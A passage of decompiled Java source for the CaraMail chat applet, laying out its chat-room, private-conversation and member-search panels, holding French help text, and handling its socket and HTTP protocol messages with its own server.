gridbaglayout6.setConstraints(a201, gridbagconstraints6);
a189.add(a201);
}
GridBagLayout
gridbaglayout7 = new GridBagLayout();
a191.setLayout(gridbaglayout7);
GridBagConstraints
gridbagconstraints7 = new GridBagConstraints();
gridbagconstraints7.gridx
= 1;
gridbagconstraints7.gridy
= 0;
gridbagconstraints7.gridwidth
= 1;
gridbagconstraints7.weightx
= 0.0D;
gridbagconstraints7.weighty
= 0.0D;
gridbagconstraints7.fill
= 1;
gridbagconstraints7.insets.top
= 4;
gridbagconstraints7.insets.left
= 4;
gridbagconstraints7.insets.bottom
= 4;
gridbagconstraints7.insets.right
= 4;
gridbagconstraints7.gridx
= 0;
gridbaglayout7.setConstraints(a206,
gridbagconstraints7);
a191.add(a206);
gridbagconstraints7.gridx
= 1;
gridbagconstraints7.weightx
= 1.0D;
gridbaglayout7.setConstraints(a209,
gridbagconstraints7);
a191.add(a209);
gridbagconstraints7.gridx
= 2;
gridbagconstraints7.weightx
= 0.0D;
gridbaglayout7.setConstraints(a200,
gridbagconstraints7);
a191.add(a200);
GridBagLayout
gridbaglayout8 = new GridBagLayout();
a190.setLayout(gridbaglayout8);
GridBagConstraints
gridbagconstraints8 = new GridBagConstraints();
gridbagconstraints8.gridx
= 0;
gridbagconstraints8.gridy
= 0;
gridbagconstraints8.gridheight
= 1;
gridbagconstraints8.gridwidth
= 1;
gridbagconstraints8.weightx
= 0.0D;
gridbagconstraints8.weighty
= 0.0D;
gridbagconstraints8.fill
= 1;
gridbagconstraints8.insets.top
= 4;
gridbagconstraints8.insets.left
= 4;
gridbagconstraints8.insets.bottom
= 4;
gridbagconstraints8.insets.right
= 4;
gridbaglayout8.setConstraints(a204,
gridbagconstraints8);
a190.add(a204);
gridbagconstraints8.gridx
= 1;
gridbaglayout8.setConstraints(a202[0],
gridbagconstraints8);
a190.add(a202[0]);
gridbagconstraints8.gridx
= 2;
gridbagconstraints8.gridwidth
= 2;
gridbaglayout8.setConstraints(a202[1],
gridbagconstraints8);
a190.add(a202[1]);
gridbagconstraints8.gridwidth
= 1;
gridbagconstraints8.gridx
= 0;
gridbagconstraints8.gridy
= 2;
gridbaglayout8.setConstraints(a205,
gridbagconstraints8);
a190.add(a205);
gridbagconstraints8.gridx
= 1;
gridbagconstraints8.weightx
= 1.0D;
gridbagconstraints8.gridwidth
= 2;
gridbaglayout8.setConstraints(a208,
gridbagconstraints8);
a190.add(a208);
gridbagconstraints8.gridx
= 3;
gridbagconstraints8.weightx
= 0.0D;
gridbaglayout8.setConstraints(a198,
gridbagconstraints8);
a190.add(a198);
a192.setLayout(new
BorderLayout(0, 0));
a192.add("Center",
a189);
a193.setLayout(new
BorderLayout(0, 0));
a193.add("Center",
a190);
a194.setLayout(new
BorderLayout(0, 0));
a194.add("Center",
a191);
GridBagLayout
gridbaglayout9 = new GridBagLayout();
a184.setLayout(gridbaglayout9);
GridBagConstraints
gridbagconstraints9 = new GridBagConstraints();
gridbagconstraints9.gridx
= 0;
gridbagconstraints9.gridy
= 0;
gridbagconstraints9.gridheight
= 3;
gridbagconstraints9.gridwidth
= 1;
gridbagconstraints9.weightx
= 2D;
gridbagconstraints9.weighty
= 1.0D;
gridbagconstraints9.fill
= 1;
gridbagconstraints9.insets.top
= 4;
gridbagconstraints9.insets.left
= 4;
gridbagconstraints9.insets.bottom
= 4;
gridbagconstraints9.insets.right
= 4;
gridbaglayout9.setConstraints(a192,
gridbagconstraints9);
a184.add(a192);
gridbagconstraints9.gridx
= 1;
gridbagconstraints9.weighty
= 0.0D;
gridbagconstraints9.weightx
= 1.0D;
gridbagconstraints9.gridheight
= 1;
gridbaglayout9.setConstraints(a193,
gridbagconstraints9);
a184.add(a193);
gridbagconstraints9.gridy
= 1;
gridbaglayout9.setConstraints(a194,
gridbagconstraints9);
a184.add(a194);
gridbagconstraints9.gridy
= 2;
gridbagconstraints9.weighty
= 1.0D;
gridbaglayout9.setConstraints(a186,
gridbagconstraints9);
a184.add(a186);
for(int
i = 0; i < 20; i++)
{
a158[i] = new CaraLabelPanel();
a159[i] = new Button("Ignorer et terminer la conversation");
a160[i] = new Button("Envoyer");
a162[i] = new TextField();
a163[i] = new Choice();
a164[i] = new Choice();
a165[i] = new Button("Terminer la conversation");
a154[i] = new Panel();
a153[i] = new Panel();
a152[i] = new Panel();
a155[i] = new Panel();
a161[i] = new Button("Expulser");
a156[i] = new LightScrollbar(1);
a157[i] = new CaraTrucCanvas(a156[i], 40, false, true, "", "Helvetica",
10, 2, 4, a111, false, false, "", 0, -1);
a154[i].setLayout(new BorderLayout(0, 0));
a154[i].add("Center", a157[i]);
a154[i].add("East", a156[i]);
a163[i].addItem("Noir");
a163[i].addItem("Bleu");
a163[i].addItem("Rouge");
a163[i].addItem("Rose");
a163[i].addItem("Orange");
a163[i].addItem("Gris");
a163[i].addItem("Bleu nuit");
a163[i].addItem("Bordeaux");
a163[i].addItem("Vert");
a163[i].addItem("Mauve");
a163[i].addItem("Or");
a164[i].addItem("Parler");
a164[i].addItem("Murmurer");
a164[i].addItem("Hurler");
a158[i].setLayout(new BorderLayout(0, 8));
GridBagLayout gridbaglayout10 = new GridBagLayout();
a153[i].setLayout(gridbaglayout10);
GridBagConstraints gridbagconstraints10 = new GridBagConstraints();
gridbagconstraints10.gridx = 0;
gridbagconstraints10.gridy = 0;
gridbagconstraints10.gridwidth = 9;
gridbagconstraints10.weightx = 1.0D;
gridbagconstraints10.weighty = 1.0D;
gridbagconstraints10.fill = 1;
gridbagconstraints10.insets.top = 4;
gridbagconstraints10.insets.left = 4;
gridbagconstraints10.insets.bottom = 4;
gridbagconstraints10.insets.right = 4;
gridbaglayout10.setConstraints(a154[i], gridbagconstraints10);
a153[i].add(a154[i]);
gridbagconstraints10.gridx = 0;
gridbagconstraints10.gridy = 1;
gridbagconstraints10.weighty = 0.0D;
gridbaglayout10.setConstraints(a162[i], gridbagconstraints10);
a153[i].add(a162[i]);
gridbagconstraints10.gridy = 2;
gridbagconstraints10.gridx = 0;
gridbagconstraints10.gridwidth = 1;
gridbagconstraints10.weightx = 0.0D;
gridbaglayout10.setConstraints(a163[i], gridbagconstraints10);
a153[i].add(a163[i]);
gridbagconstraints10.gridx = 1;
gridbaglayout10.setConstraints(a164[i], gridbagconstraints10);
a153[i].add(a164[i]);
gridbagconstraints10.gridx = 2;
gridbagconstraints10.weightx = 1.0D;
gridbagconstraints10.gridwidth = 3;
gridbaglayout10.setConstraints(a155[i], gridbagconstraints10);
a153[i].add(a155[i]);
gridbagconstraints10.gridx = 5;
gridbagconstraints10.gridwidth = 1;
gridbaglayout10.setConstraints(a159[i], gridbagconstraints10);
a153[i].add(a159[i]);
gridbagconstraints10.gridx = 6;
gridbaglayout10.setConstraints(a165[i], gridbagconstraints10);
a153[i].add(a165[i]);
if(!a94)
{
gridbagconstraints10.gridwidth = 2;
gridbagconstraints10.gridx = 7;
gridbaglayout10.setConstraints(a160[i], gridbagconstraints10);
a153[i].add(a160[i]);
}
else
{
gridbagconstraints10.gridx = 7;
gridbaglayout10.setConstraints(a160[i], gridbagconstraints10);
a153[i].add(a160[i]);
gridbagconstraints10.gridx = 8;
gridbaglayout10.setConstraints(a161[i], gridbagconstraints10);
a153[i].add(a161[i]);
a161[i].setBackground(Color.orange);
}
a158[i].setLayout(new BorderLayout(0, 0));
a158[i].add("Center", a153[i]);
GridBagLayout gridbaglayout11 = new GridBagLayout();
a152[i].setLayout(gridbaglayout11);
GridBagConstraints gridbagconstraints11 = new GridBagConstraints();
gridbagconstraints11.gridx = 0;
gridbagconstraints11.gridy = 0;
gridbagconstraints11.gridheight = 1;
gridbagconstraints11.gridwidth = 1;
gridbagconstraints11.weightx = 1.0D;
gridbagconstraints11.weighty = 1.0D;
gridbagconstraints11.fill = 1;
gridbagconstraints11.insets.top = 4;
gridbagconstraints11.insets.left = 4;
gridbagconstraints11.insets.bottom = 4;
gridbagconstraints11.insets.right = 4;
gridbaglayout11.setConstraints(a158[i], gridbagconstraints11);
a152[i].add(a158[i]);
a166[i] = "";
a167[i] = "";
a168[i] = false;
a169[i] = "";
a170[i] = "";
a171[i] = "";
}
a221
= new Label("Age :");
a222
= new Label("Pseudo :");
a223
= new Label("Ville :");
a224
= new Label("Sexe :");
a227
= new Button("Dialoguer en priv\351");
a228
= new Button("Ignorer");
a229
= new Button("Rejoindre");
a230
= new Button("Chercher");
a231
= new Button("Chercher");
a232
= new Button("Chercher");
char
c = 'a';
a235.addItem("Autres");
a236.addItem("Autres");
for(int
j = 0; j < 26; j++)
{
Character character = new Character(c);
a236.addItem("Commen\347ant par " + character.toString());
a235.addItem("Commen\347ant par " + character.toString());
c++;
}
for(int
k = 0; k < a112.length; k++)
a234.addItem(a112[k]);
a237.addItem("Tous");
a237.addItem("Femme");
a237.addItem("Homme");
a237.addItem("Je
ne sais pas");
a211.setLayout(new
BorderLayout(0, 0));
a211.add("Center",
a124);
a211.add("East",
a226);
GridBagLayout
gridbaglayout12 = new GridBagLayout();
a212.setLayout(gridbaglayout12);
GridBagConstraints
gridbagconstraints12 = new GridBagConstraints();
gridbagconstraints12.gridx
= 0;
gridbagconstraints12.gridy
= 0;
gridbagconstraints12.gridwidth
= 5;
gridbagconstraints12.weightx
= 1.0D;
gridbagconstraints12.weighty
= 2D;
gridbagconstraints12.fill
= 1;
gridbagconstraints12.insets.top
= 4;
gridbagconstraints12.insets.left
= 4;
gridbagconstraints12.insets.bottom
= 4;
gridbagconstraints12.insets.right
= 4;
gridbaglayout12.setConstraints(a211,
gridbagconstraints12);
a212.add(a211);
gridbagconstraints12.gridy
= 1;
gridbagconstraints12.weighty
= 0.0D;
gridbaglayout12.setConstraints(a219,
gridbagconstraints12);
a212.add(a219);
gridbagconstraints12.gridy
= 2;
gridbagconstraints12.gridwidth
= 2;
gridbagconstraints12.gridx
= 0;
gridbagconstraints12.weightx
= 1.0D;
gridbaglayout12.setConstraints(a216,
gridbagconstraints12);
a212.add(a216);
gridbagconstraints12.gridx
= 2;
gridbagconstraints12.weightx
= 0.0D;
gridbagconstraints12.gridwidth
= 1;
gridbaglayout12.setConstraints(a227,
gridbagconstraints12);
a212.add(a227);
gridbagconstraints12.gridx
= 3;
gridbaglayout12.setConstraints(a228,
gridbagconstraints12);
a212.add(a228);
gridbagconstraints12.gridx
= 4;
gridbaglayout12.setConstraints(a229,
gridbagconstraints12);
a212.add(a229);
GridBagLayout
gridbaglayout13 = new GridBagLayout();
a214.setLayout(gridbaglayout13);
GridBagConstraints
gridbagconstraints13 = new GridBagConstraints();
gridbagconstraints13.gridx
= 0;
gridbagconstraints13.gridy
= 0;
gridbagconstraints13.gridheight
= 1;
gridbagconstraints13.gridwidth
= 3;
gridbagconstraints13.weightx
= 0.0D;
gridbagconstraints13.weighty
= 0.0D;
gridbagconstraints13.fill
= 1;
gridbagconstraints13.anchor
= 13;
gridbagconstraints13.insets.top
= 4;
gridbagconstraints13.insets.left
= 4;
gridbagconstraints13.insets.bottom
= 4;
gridbagconstraints13.insets.right
= 4;
gridbaglayout13.setConstraints(a220,
gridbagconstraints13);
a214.add(a220);
gridbagconstraints13.gridx
= 0;
gridbagconstraints13.gridy
= 1;
gridbagconstraints13.gridwidth
= 1;
gridbaglayout13.setConstraints(a224,
gridbagconstraints13);
a214.add(a224);
gridbagconstraints13.gridx
= 1;
gridbaglayout13.setConstraints(a237,
gridbagconstraints13);
a214.add(a237);
gridbagconstraints13.gridx
= 0;
gridbagconstraints13.gridy
= 2;
gridbaglayout13.setConstraints(a221,
gridbagconstraints13);
a214.add(a221);
gridbagconstraints13.gridx
= 1;
gridbaglayout13.setConstraints(a234,
gridbagconstraints13);
a214.add(a234);
gridbagconstraints13.gridx
= 2;
gridbaglayout13.setConstraints(a230,
gridbagconstraints13);
a214.add(a230);
gridbagconstraints13.gridy
= 3;
gridbagconstraints13.gridx
= 0;
gridbaglayout13.setConstraints(a222,
gridbagconstraints13);
a214.add(a222);
gridbagconstraints13.gridx
= 1;
gridbaglayout13.setConstraints(a235,
gridbagconstraints13);
a214.add(a235);
gridbagconstraints13.gridx
= 2;
gridbaglayout13.setConstraints(a231,
gridbagconstraints13);
a214.add(a231);
gridbagconstraints13.gridy
= 4;
gridbagconstraints13.gridx
= 0;
gridbaglayout13.setConstraints(a223,
gridbagconstraints13);
a214.add(a223);
gridbagconstraints13.gridx
= 1;
gridbaglayout13.setConstraints(a236,
gridbagconstraints13);
a214.add(a236);
gridbagconstraints13.gridx
= 2;
gridbaglayout13.setConstraints(a232,
gridbagconstraints13);
a214.add(a232);
a217
= new CaraLabelPanel("Listes des connect\351s");
a218
= new CaraLabelPanel("Recherche par age ou ville ou pseudo ET sexe");
a217.setLayout(new
BorderLayout(0, 0));
a217.add("Center",
a212);
a218.setLayout(new
BorderLayout(0, 0));
a218.add("Center",
a214);
GridBagLayout
gridbaglayout14 = new GridBagLayout();
a210.setLayout(gridbaglayout14);
GridBagConstraints
gridbagconstraints14 = new GridBagConstraints();
gridbagconstraints14.gridx
= 0;
gridbagconstraints14.gridy
= 0;
gridbagconstraints14.gridheight
= 5;
gridbagconstraints14.gridwidth
= 1;
gridbagconstraints14.weightx
= 1.0D;
gridbagconstraints14.weighty
= 1.0D;
gridbagconstraints14.fill
= 1;
gridbagconstraints14.insets.top
= 4;
gridbagconstraints14.insets.left
= 4;
gridbagconstraints14.insets.bottom
= 4;
gridbagconstraints14.insets.right
= 4;
gridbaglayout14.setConstraints(a217,
gridbagconstraints14);
a210.add(a217);
gridbagconstraints14.gridx
= 1;
gridbagconstraints14.weighty
= 0.0D;
gridbagconstraints14.gridheight
= 1;
gridbagconstraints14.weightx
= 0.0D;
gridbagconstraints14.fill
= 1;
gridbaglayout14.setConstraints(a218,
gridbagconstraints14);
a210.add(a218);
gridbagconstraints14.gridy
= 2;
gridbagconstraints14.weighty
= 1.0D;
gridbaglayout14.setConstraints(a215,
gridbagconstraints14);
a210.add(a215);
a127.addElement(new
CaraTrucLine("", "", "010000Bienvenue. Voici les \351l\351ments de base
indispensables pour utiliser le dialogue en direct.", "", "", "", "", "com",
"", "", true));
a127.addElement(new
CaraTrucLine("", "", "010000 ", "", "", "", "", "com", "", "", false));
a127.addElement(new
CaraTrucLine("", "", "010200DIALOGUER>> ", "", "", "", "", "com", "", "",
true));
a127.addElement(new
CaraTrucLine("", "", "010000 ", "", "", "", "", "com", "", "", false));
a127.addElement(new
CaraTrucLine("", "", "010000Discuter en public :", "", "", "", "", "com",
"", "", true));
a127.addElement(new
CaraTrucLine("", "", "010000 ", "", "", "", "", "com", "", "", false));
a127.addElement(new
CaraTrucLine("", "", "010000Les salons vous permettent de discuter \340
plusieurs.Pour parler, saisissez votre phrase en bas de la zone de dialogue
et appuyez sur la touche Entr\351e.Pour r\351pondre \340 quelqu'un en salon,
cliquez sur l'une de ses phrases avant de r\351pondre.", "", "", "", "",
"com", "", "", false));
a127.addElement(new
CaraTrucLine("", "", "010000 ", "", "", "", "", "com", "", "", false));
a127.addElement(new
CaraTrucLine("", "", "010000Dialoguer en messages priv\351s :", "",
"", "", "", "com", "", "", true));
a127.addElement(new
CaraTrucLine("", "", "010000 ", "", "", "", "", "com", "", "", false));
a127.addElement(new
CaraTrucLine("", "", "010000Les conversations priv\351es vous permettent
de dialoguer avec une seule personne.Pour initier un dialogue priv\351,
cliquez sur le nom d'une personne dans la liste des membres d'un salon,
puis sur le bouton Dialoguer.", "", "", "", "", "com", "", "", false));
a127.addElement(new
CaraTrucLine("", "", "010000Un onglet s'active en bas de l'\351cran vous
permettant de discuter uniquement avec cette personne. Saisissez votre
message en bas de la zone de dialogue et appuyez sur la touche Entr\351e.
Lorsque quelque votre correspondant vous r\351pond en priv\351, l'onglet
correspondant s'illumine, cliquez dessus pour r\351pondre.", "", "", "",
"", "com", "", "", false));
a127.addElement(new
CaraTrucLine("", "", "010000 ", "", "", "", "", "com", "", "", false));
a127.addElement(new
CaraTrucLine("", "", "010200UTILISER LES SALONS >> ", "", "", "", "", "com",
"", "", true));
a127.addElement(new
CaraTrucLine("", "", "010000 ", "", "", "", "", "com", "", "", false));
a127.addElement(new
CaraTrucLine("", "", "010000Changer de salon :", "", "", "", "", "com",
"", "", true));
a127.addElement(new
CaraTrucLine("", "", "010000 ", "", "", "", "", "com", "", "", false));
a127.addElement(new
CaraTrucLine("", "", "010000Il existe des dizaines de salons permettant
de discuter \340 plusieurs. Les salons permanents sont propos\351s par
Caramail. Les salons publics sont cr\351\351s par les Caramailien(ne)s.",
"", "", "", "", "com", "", "", false));
a127.addElement(new
CaraTrucLine("", "", "010000 ", "", "", "", "", "com", "", "", false));
a127.addElement(new
CaraTrucLine("", "", "010000Pour entrer dans un salon permanent, cliquez
sur l'onglet Salons. Les salons permanents s'affichent, cliquez sur le
salon d\351sir\351 puis sur le bouton Rejoindre. Pour entrer dans
un salon public, cliquez sur le bouton Salons publics, puis sur le salon
d\351sir\351 et sur le bouton Rejoindre.", "", "", "", "", "com", "", "",
false));
a127.addElement(new
CaraTrucLine("", "", "010000 ", "", "", "", "", "com", "", "", false));
a127.addElement(new
CaraTrucLine("", "", "010000Cr\351er un salon public ou priv\351 :", "",
"", "", "", "com", "", "", true));
a127.addElement(new
CaraTrucLine("", "", "010000 ", "", "", "", "", "com", "", "", false));
a127.addElement(new
CaraTrucLine("", "", "010000Cliquez sur l'onglet Salons. Donnez un nom
au salon, puis cochez Public pour que le salon soit visible par tous ou
Priv\351 pour que le salon soit invisible (donnez son nom \340 vos amis
en dialogue priv\351). Cliquez sur Cr\351er", "", "", "", "", "com", "",
"", false));
a127.addElement(new
CaraTrucLine("", "", "010000 ", "", "", "", "", "com", "", "", false));
a127.addElement(new
CaraTrucLine("", "", "010000Entrer dans un salon priv\351 :", "", "", "",
"", "com", "", "", true));
a127.addElement(new
CaraTrucLine("", "", "010000 ", "", "", "", "", "com", "", "", false));
a127.addElement(new
CaraTrucLine("", "", "010000Les salons priv\351s sont r\351serv\351s aux
personnes qui en connaissent le nom. Cliquez sur l'onglet Salons. Saisissez
le nom du salon. Cliquez sur Rejoindre.", "", "", "", "", "com", "", "",
false));
a127.addElement(new
CaraTrucLine("", "", "010000 ", "", "", "", "", "com", "", "", false));
a127.addElement(new
CaraTrucLine("", "", "010200RECHERCHER >> ", "", "", "", "", "com", "",
"", true));
a127.addElement(new
CaraTrucLine("", "", "010000 ", "", "", "", "", "com", "", "", false));
a127.addElement(new
CaraTrucLine("", "", "010000Vous pouvez rechercher un(e) ami(e) ou les
personnes v\351rifiant certains crit\350res. Cliquez sur l'onglet Connect\351(e)s,
sp\351cifiez qui vous recherchez (en pr\351cisant le sexe ET un des crit\350res
parmis l'\342ge, la ville ou le pseudo) puis appuyez sur Chercher. La liste
des personnes correspondant \340 votre recherche appara\356t. Cliquez sur
le nom d'une personne puis sur Dialoguer pour converser en priv\351 avec
elle.", "", "", "", "", "com", "", "", false));
a127.addElement(new
CaraTrucLine("", "", "010000 ", "", "", "", "", "com", "", "", false));
a127.addElement(new
CaraTrucLine("", "", "010000Merci de rester correct et courtois sur le
dialogue en direct.", "", "", "", "", "com", "", "", false));
a127.addElement(new
CaraTrucLine("", "", "010000 ", "", "", "", "", "com", "", "", false));
a127.addElement(new
CaraTrucLine("", "", "010000Bonnes discussions ;-)", "", "", "", "", "com",
"", "", false));
a127.addElement(new
CaraTrucLine("", "", "010000 ", "", "", "", "", "com", "", "", false));
a127.addElement(new
CaraTrucLine("", "", "010000Remarque : les heureux possesseurs d'un navigateur
Internet Explorer de version 4 ou 5 et un PC peuvent \340 pr\351sent redimensionner
la fen\352tre.", "", "", "", "", "com", "", "", true));
a130
= new CaraTrucOnglet();
a130.a507("Salons",
a184);
a130.a507("Connect\351(e)s",
a210);
a130.a507("Infos
CaraMail", a178);
setBackground(Color.black);
setLayout(new
BorderLayout(0, 0));
add("Center",
a130);
}
private void a276(int i)
{
a166[i]
= "";
a167[i]
= "";
a168[i]
= false;
a157[i].a446();
}
private int a279(String s,
String s1)
{
int
i;
for(i
= 0; i < 20 && a166[i] != ""; i++);
if(i
>= 20)
{
return -1;
}
else
{
a166[i] = s;
a167[i] = s1;
a164[i].select(0);
a163[i].select(0);
a158[i].a524("Dialogue priv\351 avec " + a167[i]);
a157[i].a446();
a162[i].setText("");
a162[i].requestFocus();
a157[i].a419();
return i;
}
}
private String a280()
{
String
s = "rand" + a84 + a72++;
return
s;
}
private boolean a283(String
s)
{
try
{
if(!a93)
{
out.print(s + "\n");
out.flush();
}
else
{
URL url = new URL("http://" + getCodeBase().getHost() + "/" + a280() +
"id" + a79 + "jid" + a80 + "cmd" + URLEncoder.encode(s));
URLConnection urlconnection = url.openConnection();
urlconnection.setAllowUserInteraction(false);
urlconnection.setUseCaches(false);
urlconnection.setRequestProperty("Cache-control", "no-cache");
DataInputStream datainputstream = new DataInputStream(urlconnection.getInputStream());
datainputstream.readLine();
datainputstream.close();
}
}
catch(IOException
_ex)
{
if(!a93 && !a298())
a327(0);
}
return
true;
}
private boolean a288(int i)
{
try
{
byte abyte0[] = new byte[0x30d40];
a99 = new Socket(getCodeBase().getHost(), i);
InputStream inputstream = a99.getInputStream();
DataOutputStream dataoutputstream = new DataOutputStream(a99.getOutputStream());
dataoutputstream.writeChars("667\n");
dataoutputstream.flush();
inputstream.read(abyte0);
dataoutputstream.close();
a99.close();
a99 = null;
return true;
}
catch(IOException
_ex)
{
a99 = null;
}
return
false;
}
private boolean a291(int i)
{
try
{
a99 = new Socket(getCodeBase().getHost(), i);
in = a99.getInputStream();
out = new PrintStream(a99.getOutputStream(), true);
out.flush();
a93 = false;
return true;
}
catch(IOException
_ex)
{
a99 = null;
}
return
false;
}
private boolean a292()
{
boolean
flag = true;
int
i = 0;
String
s;
if(!a97)
{
if(a95)
s = "http://" + getCodeBase().getHost() + "/" + a280() + URLEncoder.encode("cmd"
+ (!a94 ? "1" : "201") + "\t" + a77 + "\t" + a78 + "\t" + a84);
else
s = "http://" + getCodeBase().getHost() + "/" + a280() + URLEncoder.encode("cmd"
+ (!a94 ? "0" : "200") + "\t" + a77 + "\t" + a78 + "\t" + a84);
}
else
{
s = "http://" + getCodeBase().getHost() + "/" + a280() + "id" + a79 + "jid"
+ a80;
}
while(flag)
{
try
{
URL url = new URL(s);
URLConnection urlconnection = url.openConnection();
urlconnection.setAllowUserInteraction(false);
urlconnection.setUseCaches(false);
urlconnection.setRequestProperty("Cache-control", "no-cache");
in = urlconnection.getInputStream();
a93 = true;
return true;
}
catch(IOException _ex) { }
if(++i > 5)
flag = false;
}
return
false;
}
private boolean a297()
{
if(a288(a70)
&& !a95)
if(a291(a70))
{
a283((!a94 ? "0" : "200") + "\t" + a77 + "\t" + a78 + "\t" + a84);
return true;
}
else
{
return false;
}
return
a292();
}
private boolean a298()
{
if(a288(a70))
{
if(a291(a70))
{
a283("3\t" + a79 + "\t" + a80);
return true;
}
else
{
return false;
}
}
else
{
return false;
}
}
private boolean a299(String
s)
{
StringTokenizer
stringtokenizer = new StringTokenizer(s, "\t\n");
if(!stringtokenizer.hasMoreElements())
return false;
int
i;
try
{
i = Integer.parseInt(stringtokenizer.nextToken());
}
catch(NumberFormatException
_ex)
{
i = 100;
}
switch(i)
{
case
100: // 'd'
case
204:
default:
break;
case
10: // '\n'
if(stringtokenizer.countTokens() != 3)
return false;
a78 = stringtokenizer.nextToken();
a79 = stringtokenizer.nextToken();
a80 = stringtokenizer.nextToken();
if(a103 == 0)
a283("20\t" + a83);
else
a283("22\t" + a83);
a283("80\t" + a74 + "\t" + a75 + "\t" + a76);
if(a75.compareTo("0") == 0)
a75 = "F";
else
if(a75.compareTo("1") == 0)
a75 = "H";
else
a75 = "X";
if(a94)
{
a283("14\t0");
a183.enable();
a183.setState(false);
}
a130.repaint();
break;
case
11: // '\013'
case
12: // '\f'
case
13: // '\r'
a327(i);
break;
case
16: // '\020'
a101.removeAllElements();
for(; stringtokenizer.hasMoreTokens(); a101.addElement(stringtokenizer.nextToken()));
a124.a418();
a128.a418();
break;
case
14: // '\016'
if(stringtokenizer.countTokens() != 1)
return false;
if(stringtokenizer.nextToken().equals("4"))
{
if(a94)
a183.setState(true);
break;
}
if(a94)
a183.setState(false);
break;
case
70: // 'F'
if(stringtokenizer.countTokens() != 3)
return false;
String s1;
if(!a101.contains(s1 = stringtokenizer.nextToken()))
{
String s4 = s1;
String s15 = stringtokenizer.nextToken();
String s23 = stringtokenizer.nextToken();
boolean flag = false;
if(s23.indexOf(a78 + " ") != -1 || s23.indexOf(a78 + ">") != -1)
{
flag = true;
if(!s4.equals(a79) && !a130.a517().equals(a329(a83)))
a130.a514(a329(a83), Color.orange);
}
if(s4.equals(a79))
{
a129.addElement(new CaraTrucLine(s4, s15, s23, a74, a75, a76, "", "com",
"", "", flag));
a129.a419();
break;
}
if(a129.a430(s4, 0) == null)
{
a283("82\t" + s1);
a129.addElement(new CaraTrucLine(s4, s15, s23, "", "", "", "", "com", "",
"", flag));
a129.a419();
}
else
{
CaraTrucLine caratrucline = a129.a430(s4, 0);
a129.addElement(new CaraTrucLine(s4, s15, s23, caratrucline.a465(3), caratrucline.a465(4),
caratrucline.a465(5), "", "com", "", "", flag));
a129.a419();
}
}
else
{
return false;
}
break;
case
60: // '<'
String s2;
while(stringtokenizer.hasMoreElements())
if(!a101.contains(s2 = stringtokenizer.nextToken()))
{
String s5 = s2;
String s16 = stringtokenizer.nextToken();
String s24 = stringtokenizer.nextToken();
boolean flag1 = false;
if(s24.indexOf(a78 + " ") != -1 || s24.indexOf(a78 + ">") != -1)
{
flag1 = true;
if(!s5.equals(a79) && !a130.a517().equals(a329(a83)))
a130.a514(a329(a83), Color.orange);
}
if(s5.equals(a79))
a129.addElement(new CaraTrucLine(s5, s16, s24, a74, a75, a76, "", "com",
"", "", flag1));
else
if(a129.a430(s5, 0) == null)
{
a283("82\t" + s2);
a129.addElement(new CaraTrucLine(s5, s16, s24, "", "", "", "", "com", "",
"", flag1));
}
else
{
CaraTrucLine caratrucline1 = a129.a430(s5, 0);
a129.addElement(new CaraTrucLine(s5, s16, s24, caratrucline1.a465(3), caratrucline1.a465(4),
caratrucline1.a465(5), "", "com", "", "", flag1));
}
}
a129.a419();
break;
case
72: // 'H'
case
73: // 'I'
if(stringtokenizer.countTokens() != 3)
return false;
String s3;
if(a101.contains(s3 = stringtokenizer.nextToken()))
break;
String s6 = s3;
String s17 = stringtokenizer.nextToken();
int k = 0;
if(a130.a515(s17))
{
if(!s17.equals(a130.a517()))
a130.a514(s17, Color.orange);
for(; k < 20 && !a167[k].equals(s17); k++);
if(k >= 20)
break;
if(!a166[k].equals(s6))
{
a168[k] = false;
a166[k] = s6;
a167[k] = s17;
a162[k].setText("");
a162[k].requestFocus();
}
if(i == 72)
{
if(a168[k])
{
a157[k].addElement(new CaraTrucLine(s6, s17, stringtokenizer.nextToken(),
a169[k], a170[k], a171[k], "", "com", "", "", false));
}
else
{
a157[k].addElement(new CaraTrucLine(s6, s17, stringtokenizer.nextToken(),
"", "", "", "", "com", "", "", false));
a283("82\t" + s6);
}
}
else
{
a157[k].addElement(new CaraTrucLine(a79, a78, stringtokenizer.nextToken(),
a74, a75, a76, "", "com", "", "", true));
}
a157[k].a419();
break;
}
k = a279(s6, s17);
if(k == -1)
break;
a283("82\t" + s6);
a130.a507(s17, a152[k]);
a130.a514(s17, Color.orange);
if(i == 72)
a157[k].addElement(new CaraTrucLine(s6, s17, stringtokenizer.nextToken(),
"", "", "", "", "com", "", "", false));
else
a157[k].addElement(new CaraTrucLine(a79, a78, stringtokenizer.nextToken(),
a74, a75, a76, "", "com", "", "", true));
a157[k].a419();
break;
case
85: // 'U'
int k1 = 0;
int l1 = 0;
int i2 = 0;
a128.a446();
while(stringtokenizer.hasMoreElements())
{
String s7 = stringtokenizer.nextToken();
String s18 = stringtokenizer.nextToken();
String s25 = stringtokenizer.nextToken();
String s29 = stringtokenizer.nextToken();
String s33 = stringtokenizer.nextToken();
if(a101.contains(s7))
s29 = " ignor\351(e)";
else
if(s29.compareTo("0") == 0)
{
s29 = "F";
k1++;
}
else
if(s29.compareTo("1") == 0)
{
s29 = "H";
l1++;
}
else
{
s29 = "X";
}
a128.addElement(new CaraTrucLine(s7, s18, "", s25, s29, s33, "", "com",
"", "", false));
i2++;
}
a147.setText(i2 + " personnes - " + k1 + " f - " + l1 + " h");
a128.a419();
a145.enable();
a143.disable();
a141.disable();
break;
case
20: // '\024'
case
21: // '\025'
case
22: // '\026'
case
23: // '\027'
if(!stringtokenizer.hasMoreElements())
return false;
a83 = stringtokenizer.nextToken();
a130.a507(a329(a83), a131);
a130.a514(a329(a83), Color.orange);
a130.enable();
a130.repaint();
a130.a516(3);
a128.a446();
a129.a446();
a146.setText("Vous dialoguez dans le salon " + a329(a83));
a283("94");
a199.disable();
a196.disable();
a283("85");
a145.disable();
a143.disable();
a141.disable();
a147.setText("Recherche en cours ...");
break;
case
40: // '('
case
41: // ')'
case
42: // '*'
case
43: // '+'
if(!stringtokenizer.hasMoreElements())
return false;
a83 = stringtokenizer.nextToken();
a130.a513(3, a329(a83));
a130.repaint();
a130.a516(3);
a128.a446();
a129.a446();
a146.setText("Vous dialoguez dans le salon " + a329(a83));
a283("85");
a145.disable();
a143.disable();
a141.disable();
a147.setText("Recherche en cours ...");
break;
case
74: // 'J'
if(stringtokenizer.countTokens() != 1)
return false;
int j = 0;
for(String s8 = stringtokenizer.nextToken(); j < 20 && !a166[j].equals(s8);
j++);
if(j < 20)
{
a157[j].addElement(new CaraTrucLine("", "", "010200" + a167[j] + " est
d\351connect\351(e) !", "", "", "", "", "", "", "", true));
a157[j].a419();
}
break;
case
199:
if(!stringtokenizer.hasMoreElements())
return false;
